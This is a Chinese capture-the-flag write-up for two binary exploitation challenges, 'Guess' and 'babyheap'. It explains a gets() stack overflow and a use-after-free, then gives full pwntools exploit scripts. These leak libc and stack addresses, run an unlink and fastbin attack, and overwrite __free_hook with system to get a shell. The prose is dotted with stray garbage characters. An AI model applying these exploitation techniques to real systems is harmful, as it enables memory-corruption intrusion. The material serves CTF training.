0x01 Guess
程序功能
程序先將flag讀入內(nèi)存中琉朽,然后與用戶輸入相比較,程序會fork三次稚铣,在三次之后還猜不對則退出箱叁。-
漏洞位置
在用戶輸入flag時,是用gets()進行輸入惕医,此處存在棧溢出
-
利用思路
程序開了canary耕漱,存在棧溢出,并且把flag讀到了內(nèi)存中抬伺,我們可以考慮觸發(fā)__stack_check_fail的異常處理鏈將內(nèi)存中的flag打印出來螟够,由于沒有固定的地址,存在于棧中峡钓,所以要先leak棧地址妓笙,最后算出偏移將flag打印出來。
libc中有個environ指針指向存放環(huán)境變量的地址(棧上面)能岩,可通過此指針leak出棧地址给郊。
- my-exp
from pwn import *
local = 1
if local:
p = process('./GUESS')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
print 'time is up!'
def guess(flag):
flag = p64(0) * 37 + flag
p.recvuntil('Please type your guessing flag\n')
p.sendline(flag)
p.recvuntil('***: ')
return p.recvuntil(' ter')[:-4]
def debug():
print pidof(p)[0]
raw_input()
elf = ELF('./GUESS')
#step1 leak libc_base
gets_got = elf.got['gets']
success('gets_got => ' + hex(gets_got))
libc.address = u64(guess(p64(gets_got)) + '\x00' * 2) - libc.symbols['gets']
success('libc_base => ' + hex(libc.address))
#step2 leak environ_addr on the stack
environ_addr_ptr = libc.symbols['environ']
environ_addr= u64(guess(p64(environ_addr_ptr)) + '\x00' * 2)
success('environ_addr => ' + hex(environ_addr))
#step3 calc the offset of flag
print guess(p64(environ_addr - 0x168))
0x02 babyheap
程序功能
可申請最多10次的大小為0x20的chunk,最多可edit 3次chunk中的內(nèi)容捧灰。-
漏洞位置
free后不清空指針使.bss上存在Dangling ptr。
edit時不會檢查是否已經(jīng)free可造成uaf统锤。
- 利用思路
因為只能edit3次毛俏,所以每次edit都要很精確。先利用連在一起的fastbin中構(gòu)造出一個unlink的結(jié)構(gòu)饲窿,并順帶leak出heap_base煌寇。第一次edit,在堆上構(gòu)造fastbin attack逾雄,使在數(shù)組中出現(xiàn)觸發(fā)unink的指針阀溶。第二次edit,寫自身為free_hook鸦泳,第三次edit银锻,將free_hook寫為system。但是做鹰!我死活沒有leak出libc基址击纬,從而無法在第二次將自身寫為free_hook,也剛好無法寫到limit的位置钾麸,于是我想了個騷操作繞了一大圈(下見被三個引號注釋的腳本):將本該存堆指針的地方重新偽造個0x31來做fastbin attack更振,這樣我就可以通過add來修改limit甚至修改可以索引到的指針來搞很多事情炕桨,雖然我只需要將leak一下libc基址,然后再寫自身就行了肯腕。當(dāng)時做出來的時候我覺得我簡直是個天才献宫,然后看了別人的writeup發(fā)現(xiàn)我簡直是個傻逼,既然已經(jīng)unlink獲得了寫自己的指針实撒,第二次edit的時候把指針下移姊途,第三次edit就可以直接改limit了。(下見未注釋的腳本)奈惑。
unlink時只需滿足free堆塊的size不在fastbin范圍內(nèi)吭净,進行unlink的堆塊的size無所謂。unlink后產(chǎn)生的指向自己上面的指針可以有大作用肴甸,不要想的太死板了寂殉。
- my-exp
from pwn import *
local = 1
if local:
p = process('./babyheap')
elf = ELF('./babyheap')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
print 'Time is up!'
def add(index , content):
p.recvuntil('Choice:')
p.sendline('1')
p.recvuntil('Index:')
p.sendline(str(index))
p.recvuntil('Content:')
p.sendline(content)
p.recvuntil('Done!')
def edit(index , content):
p.recvuntil('Choice:')
p.sendline('2')
p.recvuntil('Index:')
p.sendline(str(index))
p.recvuntil('Content:')
p.sendline(content)
p.recvuntil('Done!')
def show(index):
p.recvuntil('Choice:')
p.sendline('3')
p.recvuntil('Index:')
p.sendline(str(index))
return p.recvuntil('Done!')[:-6]
def free(index):
p.recvuntil('Choice:')
p.sendline('4')
p.recvuntil('Index:')
p.sendline(str(index))
p.recvuntil('Done!')
def debug():
print pidof(p)[0]
raw_input()
free_got = elf.got['free']
success('free_got => ' + hex(free_got))
sleep(5)
#leak heap_base
ptr = 0x6020a8
fake_fd = ptr - 0x18
fake_bk = ptr - 0x10
fake_unlink = p64(0) + p64(0xb1) + p64(fake_fd) + p64(fake_bk)
fake_head = p64(0xb0) + p64(0x90)
add(9 , fake_unlink[:-1])
add(1 , '1' * 0x1f)
add(2 , '2' * 0x1f)
add(3 , '3' * 0x18 + '1')
add(4 , '4' * 0x19)
free(1)
free(2)
heap_base = u64(show(2).ljust(8 , '\x00')) - 0x30
success('heap_base => ' + hex(heap_base))
#unlink
fake_fastbin = heap_base + 0xb0
edit(2 , p64(fake_fastbin))
add(5 , '5' * 0x8)
add(6 , fake_head)
add(7 , '7' * 0x1f)
add(8 , '8' * 0x1f)
add(0 , '0' * 0x1f)
free(4)
#leak libc_base
payload = p64(free_got) + p64(0) * 2 + p64(0x6020a0)
edit(9 , payload[:-1])
libc.address = u64(show(6).ljust(8 , '\x00')) - libc.symbols['free']
success('libc_base => ' + hex(libc.address))
free_hook = libc.symbols['__free_hook']
success('free_hook => ' + hex(free_hook))
system_addr = libc.symbols['system']
success('system_addr => ' + hex(system_addr))
#break limit and change free_hook to system
payload2 = p64(0) + p64(free_hook) + p64(4)
edit(9 , payload2[:-1])
edit(9 , p64(system_addr))
#get shell
add(8 , '/bin/sh')
p.sendline('4')
p.sendline('8')
'''
#make a fastbin attack to .bss
free(8)
bss_fastbin = 0x602090
edit(8 , p64(bss_fastbin))
bss_head = p64(0) + p64(0x31) + p64(0)
edit(9 , bss_head[:-1])
add(6 , '/bin/sh')
#leak libc_base and change limit
payload = p64(free_got) + p64(bss_fastbin) + p64(4)
add(8 , payload)
libc.address = u64(show(8).ljust(8 , '\x00')) - libc.symbols['free']
success('libc_base => ' + hex(libc.address))
free_hook = libc.symbols['__free_hook']
success('free_hook => ' + hex(free_hook))
system_addr = libc.symbols['system']
success('system_addr => ' + hex(system_addr))
#change free_hook to system
payload = p64(heap_base + 0x130) + p64(0) + p64(0) + p64(free_hook)
edit(9 , payload[:-1])
edit(9 , p64(system_addr)[:-1])
p.sendline('4')
p.sendline('6')
'''
#debug()
p.interactive()